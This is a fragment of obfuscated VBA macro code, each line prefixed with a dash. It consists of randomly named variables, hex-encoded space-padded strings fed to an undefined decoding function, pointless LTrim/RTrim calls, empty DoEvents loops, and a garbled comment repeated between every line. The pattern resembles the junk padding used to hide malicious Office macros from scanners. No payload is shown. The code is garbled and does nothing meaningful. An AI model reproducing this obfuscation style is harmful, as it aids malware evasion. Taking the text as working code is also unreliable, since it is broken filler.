- Dim UvLvKrRV As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim QaeVjRAm, YafpPIBw, ZzcwtDxx As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- QaeVjRAm = GIYbonflbkpgerg("2020202020202020202020424652524E4F202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- YafpPIBw = LTrim(QaeVjRAm)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ZzcwtDxx = RTrim(YafpPIBw)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- UvLvKrRV = 7
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While UvLvKrRV < 87
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim DqcjAnWt, lyyQFWSC, qxXxTzzn As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DqcjAnWt = GIYbonflbkpgerg("202020202020202020202049585A4F4F42202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- lyyQFWSC = LTrim(DqcjAnWt)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- qxXxTzzn = RTrim(lyyQFWSC)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: UvLvKrRV = UvLvKrRV + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim eFpuVMRr, kRhPrTHS, MHERDeby As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- eFpuVMRr = GIYbonflbkpgerg("20202020202020202020204A45544A4F55202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- kRhPrTHS = LTrim(eFpuVMRr)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- MHERDeby = RTrim(kRhPrTHS)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim pjEhmsTj, izuzlfqG, liLtMagN As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- pjEhmsTj = GIYbonflbkpgerg("2020202020202020202020454D454A5649202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- izuzlfqG = LTrim(pjEhmsTj)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- liLtMagN = RTrim(izuzlfqG)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- okcudWEU = RTrim(fkfWLJyY)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim JlLvWGPH As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim OJrpvipG, RJfwLsUH, nKcUfjtK As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- OJrpvipG = GIYbonflbkpgerg("2020202020202020202020564F52505243202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- RJfwLsUH = LTrim(OJrpvipG)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- nKcUfjtK = RTrim(RJfwLsUH)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- JlLvWGPH = 9
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While JlLvWGPH < 16
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim VAtNsOpx, EcSmvrzf, ilmHQvLy As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- VAtNsOpx = GIYbonflbkpgerg("202020202020202020202046544C4E4145202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- EcSmvrzf = LTrim(VAtNsOpx)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ilmHQvLy = RTrim(EcSmvrzf)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: JlLvWGPH = JlLvWGPH + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim WqwmDdGV, paABKBaY, SsHLAxPa As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- WqwmDdGV = GIYbonflbkpgerg("202020202020202020202044465156524A202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- paABKBaY = LTrim(WqwmDdGV)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SsHLAxPa = RTrim(paABKBaY)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim zFPannqA, fMxregfS, sTBHajMs As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- zFPannqA = GIYbonflbkpgerg("2020202020202020202020425459504147202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- fMxregfS = LTrim(zFPannqA)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- sTBHajMs = RTrim(fMxregfS)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Set SXGGPOLSDDD = Nothing
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim SlusTlbj, jgFYKFjo, pTTkOWYS As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim PiqkFLnq As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim fMXCTWMq, oWypNNks, tWjwmrGd As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- fMXCTWMq = GIYbonflbkpgerg("202020202020202020202044514E52554A202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- oWypNNks = LTrim(fMXCTWMq)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- tWjwmrGd = RTrim(oWypNNks)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- PiqkFLnq = 8
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While PiqkFLnq < 94
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim iwIsstVm, DjjYbnHd, ksVaSWUr As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- iwIsstVm = GIYbonflbkpgerg("2020202020202020202020534A45564457202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DjjYbnHd = LTrim(iwIsstVm)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ksVaSWUr = RTrim(DjjYbnHd)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: PiqkFLnq = PiqkFLnq + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim bDcHncol, FEZlYomz, jFJfhYrx As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- bDcHncol = GIYbonflbkpgerg("2020202020202020202020455A514F5658202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- FEZlYomz = LTrim(bDcHncol)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- jFJfhYrx = RTrim(FEZlYomz)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim NrFdMQtK, spnhxbie, chdlVfqf As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- NrFdMQtK = GIYbonflbkpgerg("2020202020202020202020564449485157202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- spnhxbie = LTrim(NrFdMQtK)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- chdlVfqf = RTrim(spnhxbie)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SlusTlbj = GIYbonflbkpgerg("2020202020202020202020554E4C595157202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim QeRFYDAy As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim DWLSBahs, OWeVlyDd, RXdqFpqf As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DWLSBahs = GIYbonflbkpgerg("20202020202020202020204E5156564A4D202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- OWeVlyDd = LTrim(DWLSBahs)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- RXdqFpqf = RTrim(OWeVlyDd)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- QeRFYDAy = 8
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While QeRFYDAy < 32
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim lSjJsikk, CUVdvZop, ZEYUQCNz As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- lSjJsikk = GIYbonflbkpgerg("20202020202020202020204A424D465358202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- CUVdvZop = LTrim(lSjJsikk)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ZEYUQCNz = RTrim(CUVdvZop)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: QeRFYDAy = QeRFYDAy + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim lyXyWMUf, WkqNRkhU, pihEPeAh As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- lyXyWMUf = GIYbonflbkpgerg("202020202020202020202059585A42434E202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- WkqNRkhU = LTrim(lyXyWMUf)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- pihEPeAh = RTrim(WkqNRkhU)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim OvOGCCPI, UpdAWBju, MhBRcDlk As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- OvOGCCPI = GIYbonflbkpgerg("2020202020202020202020485659524441202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- UpdAWBju = LTrim(OvOGCCPI)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- MhBRcDlk = RTrim(UpdAWBju)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- jgFYKFjo = LTrim(SlusTlbj)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim DGJHdDaf As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim rTlCFeRD, BTEoouzG, WYDmZsbH As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- rTlCFeRD = GIYbonflbkpgerg("2020202020202020202020495253455357202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- BTEoouzG = LTrim(rTlCFeRD)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- WYDmZsbH = RTrim(BTEoouzG)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DGJHdDaf = 8
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While DGJHdDaf < 11
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim ervwJJft, XlhuIVZI, AhCAWlmn As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ervwJJft = GIYbonflbkpgerg("2020202020202020202020484B5A514A55202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- XlhuIVZI = LTrim(ervwJJft)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- AhCAWlmn = RTrim(XlhuIVZI)
